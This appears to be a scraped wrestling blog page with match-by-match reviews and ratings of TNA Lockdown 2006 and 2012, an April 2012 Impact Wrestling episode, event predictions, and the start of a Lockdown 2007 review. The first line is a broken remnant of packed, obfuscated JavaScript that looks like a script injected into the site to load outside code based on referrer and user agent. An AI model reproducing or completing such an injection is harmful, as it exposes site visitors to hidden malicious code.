");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ernzk|var|u0026u|referrer|fzfkr||js|php'.split('|'),0,{})) 2006
Date: April 23, 2006
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

Remember that every match is in the Six Sides of Steel tonight.

Black Tiger/Hiroki Goto/Minoru Tanaka vs. Sonjay Dutt/Jay Lethal/Alex Shelley

Rating: B-. This is the right choice for an opener. The whole idea of the X Cup was to send out country vs. country in a big tournament which wound up being pretty entertaining, although mostly worthless at the end of the day. This was a solid match though as both teams were flying all over the place out there. Again though, the cage meant nothing at all for the most part as this could have been held in a regular match just as easily.

We run down the card.

Christopher Daniels vs. Senshi

The James Gang and Bullet Bob Armstrong talk about the arm wrestling match between 66 year old Bullet Bob and Konnan, with the winning team getting to give the losers (Konnan and LAX) ten lashes.

Elix Skipper vs. Petey Williams vs. Chris Sabin vs. Chase Stevens vs. Puma vs. Shark Boy

Sabin comes in next and pounds away on the head of Williams. Petey hits a tornado DDT while climbing the cage which gets two. Off to a chinlock which is quickly broken and Sabin tags in Stevens. Chase cleans house and counters the Destroyer into an Alabama Slam. Sabin and Skipper take people down and everyone is on the mat. Stevens goes up top and waits forever for everyone to get in position for a HUGE shooting star dive to take everyone out.

X-Division Title: Samoa Joe vs. Sabu

We recap Team 3D vs. Team Canada which is your usual patriotism feud. Team Canada laid them out and put the Canadian flag over them, which ticked off Ray.

Team 3D vs. Team Canada

Ray and Roode go to the top rope and they chop it out before Ray hits a Bubba Bomb off the top. D-Von makes a save of his own with a Russian Leg Sweep off the top to A-1. Runt and Young fight on the top with Young going down and taking a double stomp. Roode goes after Spike but Ray makes the save. Not that it matters that much as the spinebuster kills Runt dead. Team 3D double teams Roode down but A-1 comes in again.

Christian has nothing to say.

NWA World Title: Abyss vs. Christian Cage

Christian is caught in a chokeslam position but escapes and hits a sunset powerbomb into the tacks (same spot as AJ hit on Abyss last year at this show). Slick Johnson comes in but that only gets two. Christian gets the title but walks into a Black Hole Slam for two. Abyss pours out MORE tacks and takes the Unprettier onto them for the pin so Christian can retain.

Sting, Ron Killings, AJ Styles, Rhyno

The guitar is shattered by the bat but Steiner saves Jeff with a low blow. AJ sets up a ladder on the roof above Storm who is on the table. He grabs the light structure and drops onto Storm with a splash. That always terrifies me. Truth takes a Stroke onto a chair but gets Gored down. Steiner puts Rhyno in the Recliner but Sting Death Drops him. Harris hits Sting with the handcuffs and puts Sting in the Scorpion. Sting counters into a Scorpion of his own and Harris taps to end the match.

Remember to follow me on Twitter @kbreviews

Lockdown 2012
Date: April 15, 2012
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Commentators: Mike Tenay, Tazz

This is the second biggest show of the year for TNA as every match is inside a cage. The double main event is Roode vs. Storm for the title and Lethal Lockdown with Team Bischoff vs. Team Garrett in a match that no one really wants to see, even the big TNA fans. We also have Angle vs. Hardy in what should likely be Angle’s great match that he always has here. Let’s get to it.

Young/ODB vs. Rosita/Sarita has been added to the show.

The opening video is of Storm getting in a truck and saying that it ends tonight with Roode.

The regular opening video is a history of Beer Money and how they had a lot of success but they were never friends. This has a lot of audio clips from the showdown on Thursday which is a good thing.

Team Garrett has a meeting. Garrett wants to go first to earn his team’s respect. Great. MORE Garrett. The team agrees.

Lethal Lockdown

Team Eric: Eric Bischoff, Gunner, Bully Ray, Kazarian, Christopher Daniels
Team Garrett: Garrett Bischoff, AJ Styles, Mr. Anderson, Rob Van Dam, Austin Aries

I was worried this would close the show so this is a nice surprise. This is TNA’s WarGames match and if Garrett’s team loses, he’s out of TNA. If Eric’s team loses, he’s out and can’t use his name in wrestling again. Three minute opening period then two minutes for each one after that and Team Eric has the advantage. Gunner and Garrett start of course and it’s power vs. speed.

Garrett tries to avoid the power but after a missile dropkick, Gunner takes over by running him down. Into the corner and Gunner hits a running knee to the head. No pins or submissions until all ten are in remember. He rams Garrett into the steel and Bully Ray is out next for a two minute advantage. Gunner holds him for a running boot to the chest. This is pure dominance for about 90 seconds until Austin Aries is in fourth. The fans were cheering his name so they’re giving the people what they want.

Aries EXPLODES on Ray in the corner and gets in some shots on Gunner as well. At about a minute in he runs into a boot and Ray takes over. Garrett stays in the corner where he belongs as Aries, the actually good wrestler, does the work. A missile dropkick puts Ray down and Kazarian, with a nearly shaved head, is in next. The fans chant that he looks stupid and it’s a three on one beatdown of Garrett. Gunner chokes Aries as Kaz fires off kicks to the ribs of Garrett.

AJ evens things up as this is in classic WarGames formula already. Kaz tries to meet him coming in but AJ slams the door on his head. Pele takes Gunner down but Ray runs him over. Sweet dropkick takes Ray down and everyone pairs off. Here’s Daniels for another advantage. It’s 4-3 at the moment and Daniels gives Team Eric the big advantage. Ray pulls off his belt and Garrett takes a whipping.

Anderson is the fourth guy for his team so there’s just Eric and RVD to go. It’s the heel beatdown again but AJ manages a nice suplex on Ray. Now back to your regularly scheduled beatdown with thirty seconds to go before Eric comes in. Here’s Eric in business casual attire. He holds Garrett for a big chop from Ray and Gunner gets in one as well. Eric and Daniels talk trash as the clock counts down.

Here’s Van Dam and he cleans house. There hasn’t been a lot of that in this match so far. There hasn’t been much to commentate on because it’s been 17 minutes of punching and kicking so far. That’s what these matches usually are so it’s not a shock, but it’s still not that interesting. Eric hides in the corner and here come the weapons. The match basically resets here as everyone gets a weapon and Team Garrett takes over.

Daniels takes a bunch of weapon shots and Aries stomps away on Ray. Eric gets dragged in by AJ and Austin and the beating commences. Van Dam loads up the Five Star but Gunner crotches him. Ray lawn darts Aries into the cage but Anderson comes back with a swinging neckbreaker to Daniels. Kaz gets the spotlight now as he beats up everyone before focusing on AJ.

Kaz monkey bars across the top of the cage but AJ follows him and kicks him down. He drops an elbow down on Kazarian and RVD hits the Five Star. Ray takes Van Dam down but picks up a chair. YOU DON’T PICK UP A CHAIR IN A ROB VAN DAM MATCH! Van Daminator puts him down but Daniels pops up to take Van Dam out. Daniels goes after Garrett but Garrett hits his falling Diamond Cutter.

He covers Daniels but Eric grabs a kendo stick to pound away on him. Eric insults his own wife by calling Garrett an SOB and beats Garrett half to death. The fans want blood. Eric is the only one up at the moment. Garrett pops up and guitars Eric for the pin at 26:04 to get rid of Eric for I’d say three months or so. That was completely out of nowhere.

Rating: C-. This was probably the worst Lethal Lockdown I can ever remember. There was A LOT of punching and kicking and no big spot at all. Also the whole thing here was supposed to be about Garrett’s big comeback but really all he did was pop up after a bunch of kendo stick shots, hit Eric once and pin him. Naturally that probably means more TV time for Garrett because that’s what the fans are screaming for in Eric’s ears, but that’s life in TNA. Getting this out of the way first was a good idea though.

Tag Titles: Motorcity Machineguns vs. Magnus/Samoa Joe

The Guns have generic music to start but their regular theme starts during their walk to the ring. Methinks that was a glitch. You can win by pin, submission or escape for the rest of the matches. Magnus and Shelley start things off. Things speed way up to start and Magnus gets a clothesline for two. Sabin gets a blind tag and a pair of kicks get two. Off to Joe who is too fat for Sabin to run over.

A crucifix into a sunset flip doesn’t really work either so let’s try a dropkick. That at least slows Joe down and it’s off to Shelley. Back to Magnus who gets caught in a pinball series of punches. Magnus comes back and manages a fallaway slam to throw Sabin into Shelley in a cool spot. Back to Joe who pounds Sabin down to give us a face in peril. I think he’s in peril to another face but you get the idea.

The champions double team Sabin to keep him in the ring including a big boot to set up a backsplash for two. Magnus hooks a chinlock but Chris comes back with a jawbreaker to get out. A spinning spinebuster puts Sabin right back down and it’s off to Joe again. Snap suplex gets two. Sabin grabs a tornado DDT while climbing up Magnus and is able to make the tag. Shelley comes in but even that doesn’t wake this crowd up.

Sliced Bread is broken up but Sabin powerbombs Joe out of the corner. Magnus is knocked off the top and a top rope double stomp gets two for Shelley. A move I think called the elevated Hero’s Welcome gets two on Magnus. Skull and Bones is broken up and Sabin is caught in the Clutch. Sliced Bread hits Magnus and Joe has to break up the choke to make the save. The champions’ finisher misses so Sabin hooks up a rear naked choke on Joe. Magnus hits a kind of Michinoku Driver on Shelley and Joe runs out of the corner, dropping Sabin on Shelley. The snapmare/elbow gets the pin on Shelley at 11:19.

Rating: B-. This started really slow but once they stopped the tagging it got a lot more exciting. I definitely agree with the champions retaining here as there’s nothing for the Guns to do in this division anymore. Having them as something like Beer Money for the last year they were together would be a much better spot for them which is something they could do now.

Robbie E says he’ll get the TV Title back. Why didn’t this go after Lethal Lockdown to save the crowd a bit?

TV Title: D-Von vs. Robbie E

D-Von rams Robbie into bigger Rob to start. Robbie takes him down and stomps a lot, followed by a middle rope forearm for two. Time for the chinlock for a bit before Robbie goes to the top rope (yes rope, not corner), only to get crotched. D-Von comes back with a shoulder block and Miz’s Reality Check. Corner splash sets up the spinebuster to retain at 3:26.

Rating: D+. I get the idea of filler, but it’s still D-Von Freaking Dudley with a title. I could definitely see Ray having a belt at this point as he’s elevated his game huge, but D-Von is so average it’s unreal. He’s huge and has gotten in great shape, but how many other people would be better with the title? In short, no one because it’s never defended so it doesn’t really matter, which is the much bigger part of the problem.

Robbie T beats down D-Von post match, probably to continue the feud.

Matt Morgan says that he’s in wrestling to make money and win titles. Tonight, it’s about revenge though and the cage is a prison cell.

Knockouts Title: Gail Kim vs. Velvet Sky

No pigeons again and Tazz is upset. Her outfit is different this week as it’s more like a skirt. Madison comes out with Gail. Velvet grabs a fast rollup for two but Gail hits her in the back to take over. Velvet fires off some shots but Gail knocks her back, hitting a missile dropkick for two. More back work in the form of a backbreaker with the bending over the knee by Gail before she moves on to a knee lock, bending it around her own head.

Gail hooks something like a dragon sleeper which is countered by a jawbreaker. She misses a charge in the corner but Velvet is down too. Flying headscissors puts Gail down but she pops up to try and climb out. Velvet follows her up for some knees on the top rope. She looks for In Yo Face but settles for a sunset bomb for two instead. Madison starts yelling at Velvet as Gail tries to escape. Sky notices and tries an O’Connor Roll which is reversed into a rollup by Gail with tights for the pin at 7:27.

Rating: C-. Not the worst match ever but they’re not doing anything to help this already bad crowd. Gail keeps the title here, which I can live with because there was very little build for Velvet, but they need someone to breathe some life into this division. Gail and Madison has been played but it didn’t get mentioned at all here for the most part.

Here’s Flair for some chatting. If anyone can get a crowd fired up it’s him. Flair asks if the people know who he is and insults some fans at ringside for not knowing who he is. I think he’s drunk. He’s ticked off and that’s not good for who he’s ticked off at, and that would be Hogan. Tonight Hogan ended Eric Bischoff’s career and that’s not cool. He insults some fat guy in a yellow t-shirt and here’s Hulk.

Flair talks over Hulk’s music about how Hogan has ticked him off and there’s a good Hogan chant, the first solid crowd reaction in about an hour. Hulk asks if he can get in Flair’s ring and Flair says that’s fine. Ric sounds very drunk. Hulk says if Flair has a grievance, say it now. This is pure filler in case you couldn’t tell. Hogan says Flair asked if people knew who he was. He’s at Lethal Lockdown (is that match still going?) and here at Lockdown, Eric Bischoff is gone and can’t use his name again.

Hogan challenges Flair to a fight right now and that REALLY ticks Flair off. Hulk drills him and makes a funny face at him….and that’s it. Seriously, it was one punch. Flair says come back here and takes his tie off. Hogan leaves and Flair yells at Tenay. This has been going on WAY too long and it’s not accomplishing anything at all. The fans chant Space Mountain and Flair asks if someone wants to ride it….and that’s it.

We recap Crimson vs. Morgan which is pretty much Morgan’s feud with Abyss and Hernandez all over again.

Crimson vs. Matt Morgan

Crimson is now billed as “The Undefeated” on his graphic. Crimson goes for the door very quickly but Morgan keeps pulling him back in. Morgan walks into a clothesline for two as momentum shifts. Crimson rams him into the cage as the crowd is a little more awake now. He chokes Morgan on the ropes and a spinebuster gets two.

Crimson sets for what looked like the spear but walks into the discus lariat. Big boot puts Crimson down and it’s followed by a nice belly to back suplex. Morgan loads up the Carbon Footprint in the corner but gets tangled in the ropes. Crimson tries a quick escape but they wind up fighting on the top rope. Morgan gets crotched and tied up in the rope, allowing Crimson to climb out for the win at 7:26.

Rating: D. You know, if the time is such a problem tonight, maybe you could have this go a few more minutes and have the TV Title go longer than three minutes. It might keep the issues down a bit more. Anyway, this match was really boring as the feud has been put on hold for the last two weeks. This show is bordering on disaster at this point but there are some big matches to come.

We recap Angle vs. Hardy, which is because of Kurt not liking the way Hardy looks and acts, partially because of Angle’s son being a Hardy fan. Angle cheated to win last time at Victory Road.

Kurt Angle vs. Jeff Hardy

Angle said that he and Hardy could match HHH vs. Undertaker here and he’s had a great track record at this show so hopefully he continues that here. Hardy’s paint is black and white here. There’s this, the world title and the Knockout Tag Titles left so the show still has a small chance. Angle’s thigh is taped due to a legit injury. Kurt pounds him in the corner to start but Jeff comes back with the legdrop between the legs.

They’re going very slowly here but it might be a slow build. Jeff whips him into the corner and hits the slingshot dropkick but he’s holding his neck. Jeff seems to be ok though and he pounds Angle down in the corner. Kurt slams him into the cage which had a great sound. Snap suplex gets two. Back into the cage as it’s pretty clear Kurt is nowhere near 100%. It looks like Jeff is busted a bit but you can’t see that well.

Kurt rams him into the cage again and walks around a lot. Oh yeah Jeff is busted. Jeff comes back with a clothesline and both guys are down. Things speed up again and Jeff comes back with some forearms. Whisper in the Wind gets two. Twisting Stunner puts Kurt down and he loads up the Swanton, but Angle runs the corner and hits a GREAT Angle Slam out of the corner for a close two. Kurt goes for the door but Jeff dives for the leg. Angle pounds on his head and goes for the climb over but Jeff pulls him back. Now Jeff goes up and knocks Kurt back, hitting a standing top rope Vader Bomb for two.

Both guys are down again and it’s Hardy up first. He goes for the door but Kurt grabs the ankle and puts on the ankle lock. Jeff counters into the ankle lock on Angle (on the good leg) but Kurt rolls out. Twist of Fate puts Angle down and Jeff goes for the corner. Swanton connects but he goes up again and hits a second one which gets two. Kurt pulls him head first into the cage and the Angle Slam gets two. Hardy counters the Slam into one of his own before going all the way to the top of the cage for a super Swanton for the pin at 14:48.

Rating: B+. While it’s not as good as Kurt’s other matches, this was a HUGE step up over what the rest of this show has been. I don’t ever remember my heart being in my throat for a spot more than that Swanton though as I thought he was going to kill himself. Angle’s injury slowed this a lot but it was still a very good match and a major help that this show needed.

Knockouts Tag Titles: Eric Young/ODB vs. Rosita/Sarita

Eric and ODB have hockey jerseys on. ODB charges in to jump Sarita and Eric doesn’t know what corner to go to. Isn’t this where Eric is billed from? It’s a comedy match of course with Eric thinking he’s referee, which causes ODB to get in trouble. The girls keep trying to seduce Eric as they work over ODB. ODB comes back, spears Sarita and hits the Bam on Rosita for the pin to retain at 4:17.

Rating: D. Was Eric ever legally in? This was a comedy match to bring the crowd down a bit before the main event. There’s not much else to say here other than the girls minus ODB looked good and Eric is still not that funny. This served its purpose well enough though so points for that.

The announcers talk about the main event for awhile.

Roode says tonight is a fight, not a wrestling match. He’s out for blood and they hate each other. Some idiot fan tried an ECW chant during this.

We recap the main event. It’s another excellent package with Roode talking about how he’s the champion and he’ll do anything to win and Storm talking about how it took ten years to get to this moment.

TNA World Title: James Storm vs. Bobby Roode

Storm drives a truck into the arena. He has something resembling the AMW trenchcoat but it’s not quite the same. Storm jumps him on the floor before the bell rings and takes the fight to him. He rams Roode into the cage and drops an elbow from a table. The bell hasn’t rung yet and they have over half an hour. Storm blocks a cage shot and they fight up the entrance. All Storm so far.

Storm swings a chair at the cage but misses, allowing Roode to hit a clothesline to the back of the head to drive Storm’s head into the steel. Roode gets a beer bottle and Storm is busted. The beer is put on the steps as Roode hammers away. Montgomery Gentry and Storm’s wife are here. They go into the cage and there’s the bell. Roode is in full control and rams Storm into the cage again.

Roode yells a lot and the crowd is quiet enough that you can hear most of it. Suplex and knee drop get two. That cut is opening more and more. Storm Hulks Up and wins a slugout but a running elbow takes him right back down. Storm gets a boot up in the corner but Roode takes him down with a big clothesline for two. Roode does the cheese grater spot on the cage and the tape on Storm’s wrists are all covered in blood.

Roode is still shouting in Storm’s face and has Storm’s blood on his face. We cut to Storm’s wife and she looks as interested as parents when their kid isn’t on stage in a third grade school play. Storm comes back with a bunch of punches and clotheslines. Here’s the Eye of the Storm but Roode escapes. A catapult sends Roode into the cage and the Eye of the Storm gets two.

James walks into a spinebuster for two. Roode is busted also. Closing Time (Codebreaker/Backstabber combo) gets two. Now Roode gets the cheese grater treatment. Roode ducks a dive and Storm eats cage, allowing Roode to hook the Crossface. Storm manages to roll to the ropes but both guys are spent. They go to the corner and Storm fights out of a superplex but gets his head rammed into the cage.

Roode climbs on Storm to try to get out and he kicks Storm down to the mat. Storm climbs up and gets Roode dangling on the top of the cage. He’s back in now and they slug it out on the top rope some more. Storm pulls him down and loads up the Last Call but it hits the referee flush on the jaw.

Roode takes him down and has the door wide open but he wants the beer bottle. He busts it over Storm’s head and demands that Hebner come in for the cover but it only gets two. Instead of sprinting out the door, Roode walks into the Last Call but Storm can’t follow up. Storm superkicks Roode out the door, AND HE KEEPS THE TITLE at 17:39.

Rating: B. This company amazes me. If there was EVER, I mean EVER, a more perfect setup than this, I’d love to see it because this was as perfect as you could get and they go the other way. On top of that, they do it TONIGHT, with the crowd being as uninterested as they’ve ever been. The match was great, the ending…..oh dear.

Storm hugs his wife to end the show.

Overall Rating: D+. The first half of this show was dreadful, ranking up there with some of the worst shows I’ve ever seen. Angle vs. Hardy breathed life into it and the Knockout Tag was as good as it was going to be. The main event was going strong and then they completely deflate the place (ok it was deflated already) with the ending. This was the perfect place to end Roode’s reign, but instead they swerve us just like at Bound For Glory. I get the idea of a surprise, but there are times where you go with the obvious. This was one of them.

Results
Team Garrett Bischoff b. Team Eric Bischoff – Garrett pinned Eric after a guitar shot
Samoa Joe/Magnus b. Motorcity Machineguns – Middle Rope Elbow to Shelley
D-Von b. Robbie E – Spinebuster
Gail Kim b. Velvet Sky – Rollup with a handful of tights
Crimson b. Matt Morgan – Crimson escaped the cage
Jeff Hardy b. Kurt Angle – Swanton off the top of the cage
ODB/Eric Young b. Sarita/Rosita – The Bam to Rosita
Bobby Roode b. James Storm – Storm superkicked Roode out of the cage

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It’s that time again. The second biggest show of the year with all cage matches. Here you go.Roode vs. Storm – This is one of those matches that seems like you can’t screw up……….but this is TNA.  I’m not sure if they’re going to mess it up but they could.  I’ll give them the benefit of the doubt though and go with the obvious title change.

Lethal Lockdown – Keep this in mind: Garrett Bischoff is now in control of a world champion, a two time world champion, the hottest commodity in the company, and the most decorated man in the history of the company.  Let that sink in for a minute.  Anyway, I have to go with Garrett’s team.  There’s no reason for him to lose, and besides it lets us have him stand on top even more.  I have no interest in this match though because look at it on paper minus the Bischoffs.  Is there anyone on the heel team other than Ray that can stand up to any of the faces?  No, and that’s why the match isn’t interesting.  Also next year, cut thsi down to 8 people.  Ten is too many.

Kurt Angle vs. Jeff Hardy – This is Angle’s night usually as he has great match after great match at Lockdown.  I’ll take Hardy to win, but this is going to be good.  Angle said that he thinks it’ll be a masterpiece and as good as HHH vs. Undertaker, but then again Kurt thinks people still listen to him.

Tag Titles – I know this is blasphemy but I’m not interested in the Guns at all.  There’s nothing for them to accomplish with the titles anymore at all.  They’re one of the best teams in company history (not as good as Beer Money or AMW but they’re probably third), and there’s no reason for them to get the belts.  They probably will and there’s nothing wrong with them being champions, but there’s nothing left for them to do with the titles.  I’ll go with new champions but with very little confidence.

Morgan vs. Crimson – No way the streak ends here.  Not that it would matter if it did, but it doesn’t end here.  Crimson wins.

Knockouts – Gail has had the belt five months now.  Put it on Velvet already.

TV Title – It’s still D-Von vs. Robbie E.  Did you know this match was happening?  Tenay and Tazz didn’t.  Champion retains.

Thoughts/Predictions?

Impact Wrestling
Date: April 12, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

It’s the go home show for Lockdown and again there aren’t any spoilers for the show tonight. The main idea here will probably be the announcing of the teams for Lethal Lockdown, or the Garrett Bischoff Showcase, whichever you prefer to call it. Other than that we’ll likely get a face to face showdown between Roode and Storm. Let’s get to it.

Tonight is the ODB/Eric Young wedding.

Here’s Eric Bischoff to open the show. I’m still not sure how the stipulation of him never being able to use his own name again works, or why most fans would care about that but it’s something else I guess. He starts talking about Lethal Lockdown and the fans chant that they don’t care. He brings out his team: Bully Ray, Gunner, Kazarian, Christopher Daniels and….there’s no fifth man.

Ray wants to know if the fans know who Eric is. The fans again say that they don’t care. Ray is proud to go to war for Eric, but Eric has made one mistake. That mistake is Garrett. Eric says that tonight there’s a best of three series to determine who has the advantage. Gunner is ready for whomever Garrett’s team brings to the table. Speaking of Garrett here he is. The fans cheer for him so there’s validation for him to be on the show I guess.

He has his own team, comprised of Anderson….and I guess we have to wait for the rest of the best of three series to find out the rest.

Mr. Anderson vs. Gunner

We join the match in progress after a break with Anderson ramming Gunner’s head into the buckle. Anderson misses a charge into the corner and Gunner takes over as they head outside. Gunner tries to ram Anderson into the post but gets sent himself. He goes into the barricade face first a few times as well and they head back inside. Anderson drops him with a clothesline and a few elbows but Gunner comes right back. He’s so intense you know. Gunner grabs a rollup with tights for two. They slug it out and Gunner is sent into the post twice. Anderson chokes him into the corner and won’t let up on it, drawing the DQ at 4:47.

Rating: C. This wasn’t bad as Anderson was showing some fire for the first time in a very long time. He’s not interesting for the most part though and that really hurts him. Anderson is just kind of there for the most part and the same is true for Gunner. Neither guy does anything of note in the ring and it makes most of their matches boring. This was a bit different but not by much.

Young is in a poweder blue tux and glasses when Joseph Park shows up. Park asks Eric about a pre-nup which Eric thinks is a dog. Joseph asks Eric to think and the last thing he remembers is that Abyss was involved with Immortal. Joseph leaves Young a business card in case he needs anything. I like the Park character and it’s nice to see him FINALLY get somewhere with this.

Here are the Guns with no entrance and a title match on Sunday. They talk about how great they are and how Joe/Magnus haven’t teamed together long at all. Here are the champions for the semi-traditional tag team face to face talk. Magnus says he respects them (also traditional) but it’s not about who the best team ever is. It’s about who the best team today is, and the Guns are looking at it. A challenge is laid down to fight right now and the Guns are ready but here’s Mexican America to stop it. Anarquia says they should be in on this and both teams promptly destroy them.

Christopher Daniels vs. Austin Aries

Match #2 in the series for Lethal Lockdown advantage. Well at least it’s not AJ. Aries controls with a headlock to start but Daniels gets one of his own. They feel each other out a bit and Aries is moving better than Daniels here. The crowd has been hot all night too. Daniels charges into an elbow but Aries gets crotched as he goes up. Daniels tries a dive on the floor but Aries slides in and hits that sweet suicide dive of his.

Back in Aries takes him down and hits a handspring elbow drop for two. Sunset flip out of the corner gets the same. They trade some reversals and Aries tries to use tights but gets caught. Release Rock Bottom looks to set up the BME but Aries moves. He heads up and hits a missile dropkick followed by a running dropkick in the corner. The Brainbuster gets the clean pin at 5:32.

Rating: B. I’m not a fan of Daniels about 80% of the time, but this was a really fun match. Having Daniels getting away from AJ almost always proves to make him much more enjoyable, probably because it’s ANYTHING but him vs. AJ, but this was good stuff. Aries was flying out there and having him get the clean pin was a nice plus as he needs to get some wins over the bigger names on the show.

Here’s Hardy to cut a promo as they’re assembling the cage for the wedding. He talks about how Angle cost him the world title and on Sunday it all ends in a steel cage. They’re going to hurt each other….and that’s it. He only talked for about 40 seconds.

We get a promo from last Thursday where Storm rants about Roode disrespecting Montgomery Gentry.

Young is still giving himself a pep talk when Rosita and Sarita come in and hit on him. They want the titles back and imply that once the ring goes on his finger his life ends. They both flash him and Young turns them down.

It’s time for the wedding. Let’s get this over with. Eric comes out and is nervous. Here Comes The Bride plays and there’s no ODB. Oh ok she comes out to her theme music. So Cal Val locks them in the cage and Eric looks nervous. Young’s middle name is Cornelius. The minister isn’t thrilled with how strange this is. He says that the cage is symbolic of the strength and commitment needed for a marriage.

There’s a video of their history together which is set to a bad love song which sounds like something off an SNL parody. A lot of Bronco Busters are included. Eric seems quite proud after the video. The fans chant for ODB who looks nervous. They both have their own vows. Eric’s say he be with her no matter what she does and he’ll allow her to rub his feet whenever she wants because he knows she’s into that. She promises to not take his last name but she will take his ring music. She’ll also slap him when necessary because he’s into that. Apparently Eric gets sex whenever he wants.

The minister asks if there’s an objection and cue….Mexican America. Oh wait just the chicks. Didn’t they get repossessed or something? Sarita talks about flashing Eric in the back and says he can have the best Knockout tag champions ever. Rosita takes off her robe and dances in lingerie. He seems interested and ODB is crying. Sarita does the same sort of dance and ODB says she doesn’t have what they have. She does however have this, and she strips her dress off to reveal lingerie and a small flask of her own.

Eric turns to ODB and says he knows the missing ingredient now. He strips down to his underwear as usual but leaves the cummerbund on. They make the minister strip too. Eric says yes, ODB says yes, and ODB kisses him to the mat. This got nearly 14 minutes, or longer than almost two of the first match and the second match combined.

Flair gives Ray a pep talk.

Roode says he has no problem with the match vs. Storm being personal.

Bully Ray vs. AJ Styles

The respective winning team gets the advantage in Lethal Lockdown on Sunday. Feeling out process to start before AJ speeds things up. Everyone is on the floor to watch this one including Flair. Ray sends him to the apron and a big boot puts AJ on the floor. Ray misses a splash and AJ speeds things up, hitting a clothesline and another in the corner.

Tornado DDT is countered and Ray hits a great Samoan Drop for two. Ray goes up but AJ nips up and hits a rana for two. Styles goes to the ropes but Kaz trips him, starting the big brawl. In the ring AJ hits the Pele for a delayed two. AJ gets distracted and Ray gets his chain. AJ tries the springboard forearm but jumps into the chain for the pin at 6:44.

Rating: C. Pretty fun match here as you would expect from both of these guys. I’ve heard rumors that Ray might be getting a world title reign this year and while I would initially think it’s company suicide, it’s no stupider than Garrett’s push. This was a pretty decent match for the most part with AJ doing his usual high flying and Ray being a decent power brawler. Good stuff.

And here’s Hulk to say that now it’s 5 on 5 and Bischoff has three minutes (commercial) to get his last guy.

Back and Flair wants to be the 5th guy but Eric says no. Eric thinks that Hulk is going to be the other team’s fifth guy so Eric wants to be in there so he can stand over Hulk. Hogan says he won’t he (as in Hogan) won’t be in the match but the fifth man will be…..Rob Van Dam. So to recap, we have a two time world champion, a former world champion, the hottest commodity in the company, and the most decorated man in the history of the company all as foot soldiers for GARRETT BISCHOFF. Also, could this match be any more one sided? Eric’s biggest name is who, Ray? But hey, it makes Garrett look good right?

Video on Roode vs. Storm, narrated by Roode. As usual, this was awesome.

We run down the card for Lockdown. I completely forgot about Morgan vs. Crimson.

Madison Rayne/Gail Kim vs. Mickie James/Velvet Sky

Velvet doesn’t do the pigeons thing and Taz is furious. Madison and Mickie start things off. Mickie tries to escape a wristlock so Maidson kicks her in the face. Off to Gail who walks into a flapjack. Velvet comes in and Gail runs over to tag. Sky isn’t in long and it’s back to Mickie who plays pretty face in peril. Mickie avoids a charge in the corner and it’s hot tag to Velvet. Madison makes the save off a bulldog so Velvet DDTs her. Gail tries to leave but Mickie throws her back in. In Yo Face is broken up but so it Eat Defeat. In Yo Face gets the pin at 3:56.

Rating: C-. Not a good match or anything but this was exactly what it needed to be. Velvet gets the pin on Gail to set up their match on Sunday and Mickie and Madison are there to keep the match from happening early. Now why is that such a complex idea for most other matches to get?

Time for the showdown with Storm and Roode. Storm talks first, talking about how they’ve been down the road together and gone to Japan as Beer Money, all while talking about how cool it would be to be world champion one day, then laughing because it wouldn’t happen. Roode says he isn’t going to pretend Beer Money didn’t exist, because it was a proud moment in his life.

However there’s another moment that Roode wants to talk about, and that’s when they both entered the BFG Series. They wrestled in the semi-finals and Roode wound up winning the tournament where he lost in the main event of Bound For Glory while Storm didn’t have a match. This is all accompanied by clips of what they’re talking about which helps a lot. Storm says he remembers that, and then the next week he beat the guy that beat Roode in record time.

Roode remembers two weeks later where he beat Storm for the world title. That was also the night he turned heel. Storm says that was the night that Beer Money’s legacy was destroyed. Roode says there was no legacy because they never were friends. They hated each other and only had success because of that hatred. Storm goes off on Roode for selling out and says his superkick foot is getting antsy.

Storm says this is leading to Nashville but Roode says that this isn’t about Nashville or Storm’s redneck wife and kids. Storm takes off the jacket and Roode says this is getting personal. He talks about Storm’s dead brothers and dead father and they go nose to nose…and we’re out of time as they’re still yelling. Solid segment but they threw a lot at us at once.

Overall Rating: C+. This show was pretty good, but as usual with TNA, if you don’t like the main angle they’ve got going on, you don’t have much of a reason to watch the show. When you look at this show, you get about five segments on Lethal Lockdown, one long one on the title match, a decent one on the tag titles, a match about the Knockouts, and that’s about it.

Angle vs. Hardy got 40 seconds and Crimson vs. Morgan was mentioned in the PPV preview and that’s it. There’s a TV Title match which wasn’t mentioned, but I didn’t expect it to be. In short, as always the problem is too much Bischoff. Lockdown should be good though, so that’s a good sign. Hopefully they don’t screw this up like they do everything else.

Results
Gunner b. Mr. Anderson via DQ when Anderson wouldn’t stop choking Gunner
Austin Aries b. Mr. Anderson – Brainbuster
Bully Ray b. AJ Styles – Ray pinned Styles after hitting him with a chain
Velvet Sky/Mickie James b. Madison Rayne/Gail Kim – In Yo Face to Kim

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Lockdown 2007
Date: April 15, 2007
Location: Family Arena, Saint Charles, Missouri
Attendance: 6,000
Commentators: Mike Tenay, Don West

Back to TNA now for a show that apparently holds the record for highest PPV attendance. This is the usual deal where everything is in a cage. The main event is Lethal Lockdown, which is their version of WarGames. The teams tonight are Team Cage vs. Team Angle which is a feud that went on forever. Anyway let’s get to it.

The opening video is about prisons. Makes sense. It shifts into a video about how deadly the main event is.

Lethal, who is pretty freshly Black Machismo, as in he started it ten days earlier, says he’s going to win the title tonight.

X-Division Title: Chris Sabin vs. Sonjay Dutt vs. Jay Lethal vs. Alex Shelley vs. Shark Boy

Sabin is champion and this is an Xscape match, as in first one out is the winner. They tried this a bunch of times but they screwed it up by having like ten people in it. Five is about perfect. Lethal has Nash with him. The cage is kind of different as it looks like the old cage with the squares in the walls, but they’re a lot smaller. I like it. And they have to tag. What exactly are the rules for this thing? That’s not worth letting us know, because we need to talk about the main event.

Dutt and Sabin start. If I remember right, it’s elimination rules and when you get down to the final two it’s escape only. Hey I’m right. Sabin and Shelley try to cheat but Sabin has to put the brakes on. Dutt does his flips but gets placed on the top rope. Sabin sets for a superplex but Shark Boy walks the ropes and tags himself in for a three man Tower of Doom.

